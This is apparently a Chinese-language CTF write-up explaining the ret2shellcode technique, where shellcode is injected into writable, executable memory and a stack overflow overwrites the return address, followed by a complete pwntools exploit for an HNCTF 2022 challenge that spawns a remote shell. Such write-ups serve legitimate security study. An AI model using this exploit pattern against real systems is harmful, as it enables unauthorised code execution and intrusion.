ret2shellcode
这边就简单的情况分析一下,能力有限,复杂的shellcode还不会写。
1、概述:
自己调用shell的机器码注入到内存中,然后通过栈溢出复写返回地址,使得程序跳转到shellcode所在的内存之中
这里,我们需要找到一个能够读写的段地址,并且这个地址是可以执行的(-x-w),同时还需要知道如何修改这些段的内容
2、攻击手段(四种简单的常见思路)
1)向stack中注入shellcode
这种情况一般是啥保护也没有开的情况,直接写就完事
2)向bss段中注入shellcode
在虚拟内存中,bss主要保存没有初始值的全局变量或静态变量(汇编中由占位符?声明)。
这里是针对bss段可以写的情况。
3)向data段中注入shellcode
data段主要保存的是已经初始化了的全局变量或静态变量,攻击思路和bss注入方法向类似
4)向heap段中注入shellcode
heap主要保存通过动态内存分配产生的变量。如果heap段可写并且可以执行,攻击者就可以尝试向shellcode注入到动态分配的变量中
3、shellcode的使用(一些详细的介绍,可以看看这里)
The art of shellcode - roderick - record and learn! (roderickchan.github.io)
(补充一下,要是我们要知道我们掉用的函数长度,可以
python3
from pwn import*
len(asm(shellcraft.sh())
)
4、这里结合一道详细的例题来简单的说一下
[HNCTF 2022 Week1]ret2shellcode
这里结合简单的原理来说一下怎么做的。
1、检查一下保护机制:

2、分析主函数:

这一道题,经过我们的分析发现并没有发现bin/sh文件的地址,然而,我们发现在主函数中存在可以读写的段,再想到题目名称的提示,我们可以进行ret2shellcode
通过查看,

(vmmap:

)
buff地址是可以读写的。
3、开始编写exp,
这里我们s[ ]数组由100个空间,返回地址加8

再结合之前分析buff位于0x4040A0处
可以知道我们的payload=shell.ljust(0x108,b’0’)+p64(buff)
完整exp:
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
io = remote('node3.anna.nssctf.cn',28916)
shell=asm(shellcraft.sh())
buff=0x4040A0
payload=shell.ljust(0x108,b'0')+p64(buff)
io.sendline(payload)
io.interactive()
4、获得flag